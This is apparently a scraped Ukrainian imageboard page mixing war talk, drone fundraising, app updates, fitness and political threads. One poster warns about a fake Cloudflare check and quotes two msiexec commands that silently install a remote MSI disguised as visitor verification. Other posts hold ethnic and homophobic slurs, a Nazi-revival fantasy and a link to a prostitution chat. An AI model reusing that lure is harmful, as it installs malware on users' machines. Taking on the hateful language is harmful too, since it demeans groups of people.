Україна

>>539087
Хіба що якщо рахувати з тими що виросли на колишньому дні каховського водосховища. Волинські знайомі кажуть що мазані підараси рубають ліс як востаннє, і жоден тцк чомусь не бачить їх тягачів які ганяють крізь блок-пости.

>>539088
Ну типу гугл каже що висадили

>>539090
>попытка атаки
>плпытка
>попыт

нарешті з'ясували дефіцит чого саме

10 днів тому я приносив скрін з фейковою клоудфларою. Вчора знову наткнувся на цю хуйню і зберіг інфу з буферу. Але за посиланням нічого не качало і тому я пішов на сайт, що був у посиланні. Там також була така хуйня з клоудфларою і вже виправлене посилання, через яке можна скачать залупу на 6мб (качав довнлоадмастером). Хз шо це таке, кому цікаво - може потикати гілочкою.

З сайту з інструментами Бош

msiexec.exe /i "https://artmoto.ua/verified.msi" /passive ORG_NOTE="Я не робот — перевірка відвідувача ID: 77аfi71"

З сайту артмото

msiexec.exe /i "https://artmoto.ua/uaverified.msi" /passive ORG_NOTE="Я не робот — перевірка відвідувача ID: 77аfi71"

https://www.virustotal.com/gui/file/8544d1749616c230719a2b2b9c09e684bde4ab2363765daef5e3349c0f051c20?nocache=1

БПЛА уразили позиції БРК «Бастион» у т.о. Криму, — ВМСУ.

«Бастион» — це пускова установка для ракет «Оникс» та «Циркон».

В лежащей в руинах Европе они или ОН объявят о своем возвращении и захватят власть в Германии и Австрии. Вернут себе земли отнятые после 1945 года. Кроме наверное Эльзаса и Лотарингии. Я бы оставил Франции. В память и благодарность о маршале Петене.

Германия освободиться и станет самой высокотехнологичной и развитым государством в мире. А тайна феномена НЛО будет раскрыта.

>>455291
Настав час неймовірних історій?

> Езотеричний Гітлеризм
> Езотеричний Нацизм
> Фаш-вейв
Це псай-опс росіян. Дають бабки вонабі главярям сект і виходить отака хуйня. Знаю, сам був свідком цієї двіжухи ще з початку 10х років.
Місцями містицизм чисто заради aura farming, місцями вербовка людей здатних влаштовувати акції прямої дії, ну типу скулшутінгів, чи менш помітних акцій саботажу на важку індустрію etc.

ГБ-шники в рф такі організації теж створюють. Ну і там главарь завжди під місцевими мєнтами, або буквально гб-шник. Суть якоюсь мірою в "if you can't beat them, join them", типу вони знають що таке буде виникати завжди. Отже вони намагаються тримати такі речі під своїм безпосереднім контролем. Плюс можна план по посадкам виконувати, вони ж типу самі зібрали інакомислящіх, самі ж їх і посадять потім. А якщо будуть від рук відбиватись, то вб'ють при затриманні, як це було з деякою кількістю російських ідейних НС десь в нульових.

Post too long. Click to view.

Автор шиз!
Просто пиздец )))
Не пробовал книги писать в данном жанре?
Много ебанутых с удовольствием поддержат твое творчество ))

>казах
>нацик

>>455291
Даже не знаю, ділитись...добре поц...аа казах, ну слушай,мир делится на два полюса восток и запад, а между ними сухопутные коридоры от прибалтики-турция-израиль-иран- все это хаб МЕЖДУ этими мирами, люди убивают друг друга которые могут, а те кто хитрые-иззворотливые-денежные люди останутся, это как дифицит в организме чего-то рождает сильнее клетки, вот считай это трение войны это формирование того что уже есть в будущем, время детерминировано, и брать нужно было с 1 мировой, тогда этот пузырь лопнул появлением танка

>>468999
прости, но ты слишком консервативен, он написал чушь, но 75% с его писанины не херня, он просто назвал это эзотерическими вещами...

это ОП на видреле?

Замовив чотири дрони! Дякую всім!

>>515682
Соррі за затримку, не заглядав сюди місяць.

>>528087
Дозамовив ще один дрон.
Ювілейний, 90!

https://t.me/craftoriz/702

Dollchan 86.1 - ураження арти, замаскованої в кущах, від підрозділу Triarium 3-го полку ССО

>>535503
https://t.me/craftoriz/701
Також маємо ще два дрони з ім'ям Dollchan 86, також від підрозділу Triarium 3-го полку ССО:

Dollchan 86.2 - ураження схованки (невдале)
Dollchan 86.3 - ураження схованки

Ще один дрон замовлено!

Знову кілька дронів з одним номером! Цього разу Dollchan 87.
https://t.me/craftoriz/703

Dollchan 87.1 - ураження ваньки ждуном на землі, від підрозділу Triarium 3-го полку ССО

>>536594
Ще два дрони Dollchan 87, також від підрозділу Triarium 3-го полку ССО:
https://t.me/craftoriz/704

Dollchan 87.2 - ураження схованого ваньки в полі вночі (невдале)
Dollchan 87.3 - ураження схованого ваньки в полі вночі

>>536366
Ннннууууу падажі падажі. Заводики різні бувають. Власники різні бувають. Плюс, можна не на сам завод а в КБ інженером. Крч покопатися в темі вартує.

>>536367
Всі потужні заводіки в радиусе 10км от меня разъебали, в ноль.
Причем последний раз мне после прилета баллистики звонили из-за 150+ км и спрашивали "да я знаю куда попали и что там делали, XX трупов, ты как там вообще?", уровень секретности - потужніч-9000, со всеми выткающими

>>536365
1. Який графік, скільки вихідних? Яке дозвілля в вільний час, ходите в качалку, кампухтер чи інше?
2. Наскільки часто стикаєшся з небезпекою безпосередньо для тебе (прильоти дронів, ракет\кабів) під час того як ти на позиції і при вїзді виїзді? Бо з піхотою все +- ясно, а от наскільки артилеристи або пілоти в піздорізці це не зрозуміло.
3. Наскільки часто скидаєтеся грошима на хату\бенз і тд, скільки після всього на руки отримуеш ?
4. По званню підвищують?

Зрозуміло що дохуя нагрузив питаннями, відповідай на які хочеш\можеш.

>>536378

1. Стараємось місяць на позиції бути, але зазвичай більше. Виходить найчастіше півтора, у мене максимум було більше двох, взимку. На ппд займаєшся чергуваннями, якоюсь іншою роботою типу розгрузити машину, щось поремонтувати і т.п. Офіційна відпустка рідко, вчорну частіше, якщо не косячити можна днів на десять кожні пару виїздів. Качалка, кампухтер і тд - залежить від того де зараз ппд і які там умови. Був період що ми півроку мали свою штангу, було місце під ноутбуки і тд. Зараз гірше. Але загалом час для себе знайти можна. Кажуть, у нас більш затягнуто ніж в інших.

2. Абсолютно всі пілоти яких я знаю незалежно від спеціалізації ризикують. Прилітає і по нам, і по фпвшникам, і по вампіристам, і чув навіть по літунам на крилах. Як часто і що саме прилітає це вже залежить від конкретних обставин. Саме хуйове що пережив особисто це 60+ уражень нашої позиції за добу, а саме міномет + фпв + скиди + дві газові гранати які реально спрацювали + кілька запальничок які не спрацювали. А, і підари в 200м від нас. Але це прям було зовсім пздц хуйово, взимку, а так зазвичай легше. Як часто такий треш, ну, дивись. Заїзд на позицію зазвичай робиться на відтяжці трохи. Ви там сидите і працюєте, спочатку все +- спокійно. Потім йобані суміжники просирають нам фланги, підарських пілотів стає 3-4-5 екіпажів на один наш, небо зрештою стає за ними, нас палять і розйобують, ми відкочуємось назад, все повторюється. Бувають винятки типу фпв у вхід в перший день. Знову ж, взимку в нас так було. Ну взимку взагалі легше спалитись що б ви не робили. У інших екіпажів нашого взвода були прильоти Краснополів, ледве вижили. Але це теж був прям треш і виняток. Але таке буває, рідко, але буває, і чим більше служиш тим більший шанс це все спробувати на смак, бо умови роботи змінюються а з ними і методи боротьби кацапів з вами. Ну і більший шанс що ви довідкочуєтесь зі своїх посадок чи бабкосел до умовного бахмута і там вас у міській забудові просто рівнятимуть кабами. У нас так було з Сіверськом, зараз трохи схоже з Миколаївкою, але тьху-тьху сподіваюсь на краще. Це що стосується позицій.
Ротації це дійсно небезпечно, частково тому ми так довго сидимо на позиціях. Тобто краще просидіти півтора місяці й по дощу чи туману помінятись ніж гасати туди-сюди кожні 10 днів і ловити фпвшки своїм корчем.

3. Щомісяця як приходять бойові скидаємось по 5к на общак. Платять зараз чомусь не так стабільно, бува недоплачують. Того місяця прийшло 91к бойових замість сотки. На руках залишається коли як, якщо вдалося нормально вибратися звідти і нічого не проїбати, десь 60к чистими можна щомісяця відкладати. Якщо вас роз'їбали і майно згоріло, тут вже дивлячись скільки чого ти втратив і як мажорно ти звик екіпіруватись. Бува що ніхуя не залишається, а то ще й в мінусі. Але я параноїк-мажор, звик ходити в Саломонах і кльовій броні і тд. Знаю пацанів які воюють у дрантях, буквально, то вони економлять на геть усьому, ще й дрони збирають з полів і продають за нагоди, т.п. Там хз скільки вони відкладають.

4. Конкретно у нас ніхуя не підвищують. Але в нас випадок трохи особливий.

Post too long. Click to view.

Додам ще від себе, я проїбав 5-6 своїх рюкзаків з власним добром, кілька баулів, додаткову броню (шия і плечі, рпс з піджопником в яких м'яка броня), мед.рюкзак і купу всякого такого. Щось згоріло, щось довелося кинути і уйобувати. Ну і відповідно добро купував заново. Корочє заробляти на війні важко, по суті я ніхуя не заробив за майже два роки. Але я дійсно трохи забагато витрачаю.

По 200м. Вони є. І в нас і в фпвшників і у вампіристів. У кого більше - не знаю. Мабуть у нас. Але це я так прімєрно почуствовал, цифрами не володію.

>>536388
Дякую за відповідь.

А ти в бригаді зі складу сбс ? За контрактом чи мобілізований?

>>536405
Звичайний лінійний підрозділ, контракт.

>>389246
По суті да, як приклад те відео з фізкультури тріду, але там максимально лайтовенька

>>388216
В какой клинике? Дай линку или название. К какому именно врачу там обращался?

Псоріаз на башке....

Щонайменше трьом зубам пришла остаточна піхва, треба шось робити. Ціни на пікрілі нормальні? Відгуки підозріло всі позитивні, а вибір клінік зі зрозумілих причин обмежений.

>>428857
Яке місто?

>нормовен
1000?

Бамп вашим жопам.
>>536302
Да, раз в сутки, в течении недели.
Аспирин потом можно нерегулярно, если есть предрасположенность к тромбозам, лучше здать общий анализ крови, именно в жару

Хто знає, на які гроші живе ця монашка монастирська в австрії, одній з найдорожчих в цьому плані країн єс?

>>511033
так він же був бандітом в молодості як і клички, до походу в політику, думаю є заощадження якісь:3
знайомий балотувався від його партії в одному з районів києва колись, лол

>>506753
Ахахах. Тобто "мяу"

на промтестах стільки тяночок, як же там воняє напевно....

>>535744
В захист Кукаріки скажу, що це просто проявлення його гейського євства. Я бачив такі випадки в гей-монастирях світу, коли монахи сходили з розуму, не маючи можливості реалізувати свої схильності. Мій колега назвав це когнитивним гей-психозом, і проявлення цього ми бачимо кожен день в діях даного об'єкту досліджень, анамнез якого схильно стверджує про погіршення стану пацієнта.

>>535746
Я не розумію що заставляє його тут сидіть? Ну не подобаєтьчя що пишуть неприємне про зелебобу? Ну піди ти з мужиками в доміно зіграй чи на дачі посади клубніку. Нет блять воно приперлось до інтелектуальної еліти України і сре одними і тими ж тейкамм як біоробот зациклений. А міг би з мужиками в гаражі карбюратор там перебирать.

>>535750
Аніме на долчані генерує гей-ноосферу, що притягує різні сутності з інтернету, це ж очевидно.

>>132309
->
>>132303

Dashchan 1.9 підтримує іконки ("донатер")

>>67353
Інструкція як оновити.

Або воно оновиться саме.

Есть ли у Доллчана клиент на айфон?

>>149510
Ні і не буде. Потенційно для володарів паскоду в розробці телеграм-бот, який повністью копіює тред. Проте не доходять руки доробити.

Dashchan оновлено до 1.10.

- Dashchan не працював з новим бекендом долчану
- Підтримка репортів (долчан вимагає капчу)

Перезапустіть дашу щоб отримати оновлення або https://dollchan.net/ukr/res/3350.html#78777

Dashchan оновлено до 1.11

- Плагін не працювавз новим двигуном долчану, виправлено
- Підтримка автозаміни

1. Видаляємо орігінальний dashchan (або форк від абу)
2. Ставимо APK з форку звідсіль https://github.com/TrixiEther/DashchanFork/releases/latest/download/DashchanFork-release.apk
3. Ставимо dollchan доповнення згідно інструкції на відео
4. Потенційно, купуємо паскод та постимо без капчі https://dollchan.net/passcode/

Самый актуальный форк Дашчана:
https://github.com/dashchan-redacted/client

https://youtu.be/cH0sswRuvR8

https://youtu.be/OcUF1zbiit8

https://www.youtube.com/watch?v=q_LAUf1Z49U

>>480013
https://www.youtube.com/watch?v=A4K6HKawqHI

Вот канал с годным вайб-эмбиентом/дримскейпом, целый день сегодня слушаю. Хуй знает, может AI-музыка (потому что уж дохуя годноты с ниоткуда), но не слопчик, а вполне кошер.

https://youtube.com/watch?v=0czulc6SbwQ

Пам'ятаю в нульових читав фентезі в перекладі на русік і слухав "Мельницу" під відповідний вайб. Тільки нещодавно дізнався, що Руслана грала приблизно таку ж музику ще в 90-х (однак "Дикі Танці" мені вже не подобалися).

https://youtube.com/watch?v=LS6hU8j-P3k

Яку няшу знайшов (ембієнт з фортепіанкою)

https://www.nataliatsupryk.com

Вітаю Степан!

Якась чудасія твориться. Останнім часом коли хочеш запостити в тред. пише що я тільки що постив і добавляє +15 хв. Хоча я тільки зайшов і написав 1й пост за день.

Не кожний раз. Але

А от зараз запостилось. Не зрозуміло.

Постинг не працює в /ро/

>>506379
Виправив. Дякую за репорт.

З останніх змін у движку:
2026:
- Капча: велика палітра кольорів, ліній тепер дві (але вони менше заважають), шум у вигляді крапок.
- Структура дописів: сучасніша, з використанням section, article, тощо.
- Репорти: додано капчу у форму репорту, заборонено репортити з проксі.
- Лайки: заборонена можливість лайкнути за наявності бана.
- Автозаміна: введено автозаміну за регексами, а також з можливістю вибору рандому зі списку. Автозаміна підсвічується рандомним кольором.
- Перероблені та прискорені: запити до бази даних, генерація тамбнейлів картинок, обробка форматування тексту при надсиланні допису.
- Інструментарій модерації: повністю перероблений, більш сучасний стиль, захист у вигляді CSRF-токенів у всіх деструктивних запитах, можливість перегляду ip, що лайкнули, кнопка "закрити всі репорти".
- Акаунти модераторів тепер зберігаються захешованими в базі даних. Реалізовано менеджмент акаунтів з адмінки.

Post too long. Click to view.

Створив дошку для обговорення хобі, спорту та захоплень.

https://dollchan.net/hob/

🎯 Тематика дошки:
- Активний відпочинок: туризм, кемпінг, виживання, альпінізм, риболовля, полювання.
- Спорт: біг, велоспорт, тренажерний зал, фітнес, бойові мистецтва, командні ігри.
- Ручна робота (DIY): моделювання, крафт, малювання, шиття, деревообробка, 3D-друк.
- Колекціонування: фігурки, нумізматика, філателія, вініл, рідкісні речі.
- Настільні та інтелектуальні ігри: варгейми, шахи, покер, настілки, головоломки.

Post too long. Click to view.

>>187266
Справа у тому що росіяни завжди брешуть. Показові духовні скрєпи і алкогольне ураження мозку та тюремні зонівські поняття у них уживаються в одній голові. Скласти вкупу комунізм, православ'я і лівацький мультикультуралізм з толерантністю до мусульманських заробітчан з Середньої Азії і з Кавказу і керувати ручними правачками.

>>187266
И что? Что ты хотел этим сказать - что русские пидарасы. Ну да, это всегда было понятно. Зачем вы постоянно всё романтизируете, приписывая какие-то лунные факты, придавая им символизма. Война с пыней это плоды бездарного управления, бездарной внешней политики и отсутствия образованых кадров. Но да, зачем что-то делать, когда можно кричать путин хуйло, дай, хочу в нато. Это ведь гораздо легче искать козла отпущения в виде идеологии рашизма, расийских рабов. Конечно, мы ведь жертвы. Вот с таким майндсетом невозможно чего-то добиться. Сейчас уже ничего не поделать, нужно потерпеть. Но когда Трампыня соизволит заморозить конфликт - тогда нужно действовать. Собираться, давить на власть, но не бездумно - а предлагая здравые идеи. Например финансовой прозрачности государства. Чтоб я знал, сколько моих налогов куда направляются. Или чтоб я сам мог распределять средства по отраслям. И ещё я хочу достойного кандидата в президенты. Считаю, что Денис Прокопенко - достойный. Нам нужен украинец, которому не плевать на свою страну и он это доказал делами. Он молод, в здравом уме и считаю может направить страну в нужном направлении. К остальным абсолютно нет никакого доверия. А Редис может стать гарантом соблюдения конституции.
Но все проголосуют за зелебобу

>>322241
>Чтоб я знал, сколько моих налогов куда направляются
Хуя ты борзый, может в ермачечную хочешь?

Вот всякому местному быдлу с пасскодом все равно, что я плачу 30k+ налогов с белой, официальной зарплаты ежемесячно - им главное пруфы на нище-донаты подавай, что ты платишь "от души" сверх того, что они очевидно не платят, лол.

Они никогда не признают, что выбрали ебаната, даже если он в прямом эфире скажет, что ебанат и будет ебать гусей и ссать им в лицо - они все равно будут ненавидеть именно тебя, как свидетеля -- как жертва изнасилования больше всего ненавидит свидетелей своего унижения, а не насильников (с которыми у нее уже успели сформироваться "романтические отношения" и анус почти не болит), такова психология опущенных

>>322241
> считаю может направить страну в нужном направлении
А чем он занимается в 26?
И чем занимался в это время 4 года назад?

>>387393
Активно зависал на bigmir и i.ua, пользоваля почтой ukr.net, так шо не все так однозначно как ты пытаешься внушить. Даже сервера онлайн игр были чисто украинские.

Качаешь патч на фифу через браузер ночью, чтобы дешевле, а потом хуяк и обрыв.

>>500569
Ми з друзями ворлд оф варкрафт грали в школі на київському піратському сервері в унівєрі навіть пару раз пиво ходив з ними пити, там був класік, і постійно треба було качати аплейти, зазвичай хтось один качав, писав на діск і ми встановлювали. Сам варкрафт на диво мало трафіку їв.

>>500569
Качал ГТА 4, разбитую на множество кусков. Это было незадолго до появления у меня безлимита, еще приходилось экономить. Качал сколько-то дней. Когда установил, оказалось, что радио и телеканалов нет, пришлось их искать и качать отдельно.

>>490959
>juick.com
Угніч - трап чи транс, з'ясували?

>>500246
>bigmir
жиды
>i.ua
кацапы
>ukr.net
жиды

>>504395
Він змінив стать з чоловічої на жіночу. Більше нічого не знаю. Він забанив мене. Я не міг нічого йому писати.

https://www.youtube.com/@kefirnuy/videos
Поясняє як "Треба правильно жити"

https://www.youtube.com/@molfar_global

>>4141
Потерял закладку ютуба, где украинская посол или дипломат рассказывает про этикет одежды, правила поведения. Но найти хотел именно видео, где она начинает с событий конца первой мировой, когда поляки убивали и репрессировали украинцев в западных областях с заводом польских учителей и переводом на польский образования. Знает кто?

https://youtu.be/d2Wkr5AP8Ys

https://www.youtube.com/watch?v=O7FIiYsVy3U

Манифик, лучшая театральная сцена за годы

Інтерактивна мапа українського ютубу https://daodemo.tech/y-map

Український IT-шник створив інтерактивну мапу українських YouTube-каналів

Каналів на карті 10 тисяч, і туди потрапили лише ті, в кого понад 1000 підписників. Кожна крапка на мапі – це канал, а розмір крапки – це кількість підписників. Мапа розділена на кластери - окремі тематики до яких належить група каналів, на карті вони відображені як різнокольорові хмаринки з купи кружечків (каналів).

Свій проект розробник Антон Демченко (https://www.youtube.com/watch?v=dzLF1zKG6wU&t=21s) створив за допомогою штучного інтелекту.
Автор проекту: doping__ (https://www.instagram.com/__doping/)

Які є канали що роблять історичну документалку по війні з 2022?

Таку щоб були мапи з розтошуванням сил, смугами бригад, датами, ключовими подіями?

Типу такого

https://www.youtube.com/watch?v=3EWbcTsWgpg

>>486492
И что там, только архив?

Жук жив или все, того?

>>486625
3098 картинок і два відео. Одне про бомжів які розказують про PHP а в другому Max Pronko спікс фром хіз харт.

>>486625
Про Жука нічого не знаю.

>>486655
Да и поебать, суть ебаного была в комментариях к постам

>>486711
Ага. Первонахи, рубістии і матюки. І чим ближче до кінця тим більше.

Тред нитіків та підруснявихскигліїв

Шо - опять на майдан? В самий лютий мороз, знову (

Фу лайно вспивло

Чего тред мёртвый?

...

лайно не вспливай

Сажи підарам

>>393818
Потому что это пиздеж

Кидану сюда для англюсикоебов по военке:

Паста из прикрепленного треда с различными сслыками по физухе и филд мануалами
https://pastebin.com/3jr5Ha97

Что почитать (филд мануалы из программы первого курса Вест-Пойнта, все есть в гугле)

MS100: Introduction to Warfighting

Module 1 – Infantry Small Unit

Post too long. Click to view.

Зави́ша Чёрный из Гарбова герба Сулима (пол. Zawisza Czarny, Завиша Чарны; ок. 1379 — 1428, Сербия) — польский рыцарь и дипломат первой половины XV века. Символ рыцарства и благородства

Правнуком Завиши был Ян Амор Тарновский, основатель города Тернополя.

ЗСУ, які ми втратили.
https://www.youtube.com/watch?v=ekLYrObEWLk

Моар 30ї Новоград-Волинської танкової дивізії.
https://www.youtube.com/watch?v=0FgiaJ5h0nU

А це вже 90ті.
https://www.youtube.com/watch?v=4_Ddwv5eIlU

https://www.youtube.com/watch?v=ALi965alCMY&t=572s

>>462466
Головне, що підарашки від сталкера не відмовляються, а грають з піной з рота і лютими очима, але купляють і грають

>>462504

А вы гос долг США видели? (с)

у сралкера не граю й ніколи не грав - то для кацапів гра з кацапською тематикою. отой жидбрейнс також загуглив - не треба.

>>455036
Такое себе. Игра помимо того что кривая, так еще и от проверенных камрадов с тупичка гоблина. Делали лысой залупе игры про Бумеры и пр, так еще и сняли фильм на бабки дегенератов с тупичка.

>>462472
У доллчана в кожному запиті стоїть "Server: nginx", можеш відмовитися і від доллчану теж

>>462466
>жетбрейнс
Напомни, плз, что там за зашквар с ними? В компании много пидорах работает?

>>467237
Компанія з рф, після 2022 старались зберегти свою долю на західному риночку і відхрещувались від кремля. Деталі не знаю. Але з продуктами знайомий. Хороший софт. Тільки індексація коду дууууже повільна. А так... Типова IDE. Хоча я не знаю кому зараз потрібні IDE.
>>466846
Нжінкс фрішний і з відкритим кодом, останні коміти автора росіянина були у 2012-му році. Але прикол в тому, що я якраз його комітів не боявся би. Скоріше насторожують ті, що за останні років 10 додані. Авторами багатьох із них є якісь невідомі росіяни. Так що неіронічно, з нжінкс треба зйобуватись з міркувань безпеки.
І є куди. Апач існує.
Інша альтернатива це вигнати з числа контрібуторів людей з рос громадянством і пропискою, як це зробили в Linux Foundation. І це така штука. No hard feelings, просто це здоровий глузд.

>>430080
Еще эти книги посмотри, что рекомендуют.

https://annas-archive.org/md5/22daa714c692d4003ef1a84e119375c1

https://annas-archive.org/md5/42a40664d0b9fdb53b92dd0b1e487220

>>430080
Поділюся своєю історією. Я вже десь років 5 періодично намагався бігати, але кожен раз кидав. Кожен раз було одне й те саме, навесні виходив на пробіжки в ліс, темп 6:00 при пульсі 180 (мій max пульс 195), і ніякого прогресу. Три-чотири рази побігав, та приходив до висновку, що біг то не моє. Без розминок, розігрівів, пульсових зон, я за такі речі не шарив. Просто херачив як є та і все.
Але все змінилося навесні минулого року, коли я собі купив Garmin Fenix 7 Pro. Взагалі то я його купив для походів та покатушок, але зацікавився, чи може нормально вкатитися в біг, бо до цього бігав без відстеження параметрів та побачив, наскільки ця штука зручна. Став цікавитися пульсовими зонами, лактатним порогом, варіабельностю серцевого ритму, VO2Max, та прочими термінами. Перша тестова пробіжка показала, що при темпі 8:00 в мене пульс 150+. Щоб пульс був до 140, це для мене було неможливо! Це треба пішки йти, але тоді він падє до спокою. Тож місяць я повз як равлик в темпі 8:30-8:00 на пульсі до 150, по три-чотири рази на тиждень. І о чудо! Пульс став падати! Я всюди читав, що не треба гнати коней, просто робити свою справу, і все вийде. Потроху-потроху, і вже на пульсі до 150 я біжу в темпі 7:30, потім 7:00, і т.д. Став користуватися рекомендаціями гамріну, він пропонує різноманітні інтервалки та прості пробіжки в залежності від твого стану, як ти поспав, який в тебе ВСР, чи багато стресу було вчора. Потім купив нагрудний пульсометр (Garmin HRM Pro Plus), бо він точніший. Потім купив собі перші бігові кросівки. Ось ці приємні штуки, які ти собі купуєш, вони підтримують зацікавлення, стимулюють тенуватися далі та отримувати кайф. Вийшов на максимум в вересні минулого року, пробіг 5км в темпі 4:52, але з початком холодів показники стали повільно падати через холоди та зайвий одяг, хвороби-ковіди, та і бігати став трохи менше. Але я не припиняв бігати! Хоча б раз-два на тиждень я бігав в листопаді, в грудні, в січні, і так далі, по засніженому лісу, пробіжки стали для мене традицією та невід'ємною частиною життя. Так і бігаю до сих пір. Зараз я бігаю три-чотири рази на тиждень, десь 15-30км на тиждень набігаю. При темпі 6:00 маю пульс 145, при 4:30 - 180. Ось нещодавно пробіг 5к за 4:28. Записався на марафон незламності в Києві через місяць, побіжу 10ку. Завжди роблю розтяжки

Post too long. Click to view.

>>431975
>>430899
>>430890
Дякую за дописи.
Літературу подивлюсь.
Після першого тижня (2 пробіжки + пвд на вихідних) є відчуття слабкості, у вівторок пропустив, мабуть організм ще відновлюється. І ще спав погано нажаль.
Спробую сьогодні по максимуму відпочити, і завтра зранку вийду. Тим більше що бажання тренуватись далі є.
Доречі, приїхали нові бігові кроси.

>>432137
> Пити алкаху точно менше став завдяки ньому коли побачив як вона по сну б'є
А ще в синьці дохєріщя™ калорій. 100грам горілки має десь 235 гномиків, що справно збудують нові шари сала на твоїх щоках. І не тільки на щоках.

>>431984
> мабуть організм ще відновлюється
Є різні вітамінні комплекси. Про всяк випадок. Але це якщо ти прям на рекорд йдеш і тобі конче потрібно тримати графік, а не додавати ще один +1 день відпочинку. І воно не саме дешеве.

Тим часом я: мав (маю) проблеми з відтисканнями, подивився інтернет як це фіксати. Вчора "з колін" зміг відтиснутися 25 разів підряд. Кажуть, після 2х25 можна переходити вже до "класичних". Інтернет освітній!

А хтось тут ше займається чи всі вже... всьо?

Я зі своїми відтисканнями граюся, десь вичитав що для спини корисне.

>>463475
Та займаються думаю, просто лілитись черговим походом в зал таке собі
Кстаті сходив на хот йогу, не був пару років рішив згадати собі чому

Пульс до 180, 1.1к калорій за півтори години браслєт нарахував.
звичайна йога = до 400 калорій за 1.5 години для порівняння
Думаю людина з проблемами з серцем/тиском може і дуба дати від такої хуйні, тим більше логічно було б якусь статику давати під розігрів, а в тіпа там динаміка була, і без пауз майже лол

>>463611
> хот йогу
Жесткач, я погуглив. Не люблю спеку, від тої парилки напевно взагалі б закінчився.

Кардіобраслета не маю, керуюся тим що у відео написано. Наприклад, "Година аеробіки! Мінус 600 калорій". І повторяєш собі за автором, дуже бажано в тому ж темпі. Але цього місяця в мене відтискання. Важка атлетика :)

>>450924
Кексік.
Але і там багато скаму, зеків, кідал, тому обережно. По Харкову можу підказати чат в тг, де обговорюють місцевих шлюх.
Та і воно надо тобі взагалі, куча прона в цих інтернетах. Пофапай і воно попустить.

>>451012
>По Харкову можу підказати чат в тг, де обговорюють місцевих шлюх
Я не він, але підскажі. Бо старий десперо наче все, а з тг у мене лапки.

>>451305
https://t.me/+VeFYypzQLHk3YTI6

Ну там краще шукай одразу адмінів або прохаваних та стучи їм в особисті з описом потрібної шлюхи. У самому чаті зазвичай питають відгуки на деяких крокодилів та цікавляться "чи не кідалово ця скачана з інтернета фотографія".

>>450924
просто раз в тиждень подрочіти рукою вже не варіант

Ну вот, опу толкового ничего не посоветовали, так он вон шо творить начал.